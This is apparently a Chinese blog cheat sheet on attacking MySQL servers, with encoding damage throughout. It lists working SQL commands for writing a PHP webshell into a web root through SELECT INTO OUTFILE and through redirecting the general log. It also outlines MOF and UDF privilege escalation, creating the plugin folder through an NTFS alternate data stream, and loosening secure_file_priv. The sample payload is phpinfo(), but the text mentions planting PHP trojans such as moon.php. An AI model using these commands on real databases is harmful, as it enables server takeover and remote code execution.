?喜歡請(qǐng)點(diǎn)個(gè)贊吧?
mysql outfile導(dǎo)出webshell
條件:知道物理路徑,root權(quán)限,同時(shí)mysql需要有write權(quán)限,secure_file_priv配置不為null,查看方法:
show global variables like '%secure_file_priv%';
這個(gè)參數(shù)只能通過修改配置文件后重啟mysql修改。
1.select '<?php phpinfo();?>' into outfile 'C:phpStudy/PHPTutorial/WWW/11.php'
2.新建一個(gè)表,創(chuàng)建一個(gè)空字段,在這個(gè)字段里插入php馬,再導(dǎo)出
直接導(dǎo)出需要開啟安全配置
secure_file_priv參數(shù)用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()(讀取文件)
mysql日志獲取webshell
查看:
SHOW?VARIABLES?LIKE?'%general%'
修改狀態(tài):
set global general_log="ON";
修改儲(chǔ)存位置:
set global general_log_file='C:/phpStudy/PHPTutorial/WWW/11.php';
寫馬:
select '<?php phpinfo(); ?>';
只需root權(quán)限即可
mof提權(quán)
MOF提權(quán)的條件要求十分嚴(yán)苛:
windows 03及以下版本
mysql啟動(dòng)身份具有權(quán)限去讀寫c:/windows/system32/wbem/mof目錄
secure-file-priv參數(shù)不為null
udf提取
需要知道root賬戶的密碼,目標(biāo)系統(tǒng)windows
方法1:上傳moon.php等大馬,進(jìn)行導(dǎo)出udf,moon.php同樣需要secure_file_priv
方法2: 同樣需要secure_file_priv
將udf文件放到指定位置(Mysql>5.1放在Mysql根目錄的lib\plugin文件夾下)
該文件夾默認(rèn)不存在,可以用ntfs ads流來創(chuàng)建
select @@basedir找到mysql目錄
select 'It is dll' into dumpfile 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION';生成目錄
從udf文件中引入自定義函數(shù)(user defined function)
執(zhí)行自定義函數(shù)
關(guān)閉安全模式方法
查看配置,執(zhí)行mysql命令
SHOW VARIABLES LIKE "secure_file_priv";
如果value值為null,則為禁止,如果有文件夾目錄,則只允許改目錄下文件(測(cè)試子目錄也不行),如果為空,則不限制目錄;
修改配置可修改mysql配置文件,查看是否有
secure_file_priv =
這樣一行內(nèi)容,如果沒有,則手動(dòng)添加,
secure_file_priv = /home
表示限制為/home文件夾
secure_file_priv =
表示不限制目錄,等號(hào)一定要有,否則mysql無法啟動(dòng)
修改完配置文件后,重啟mysql生效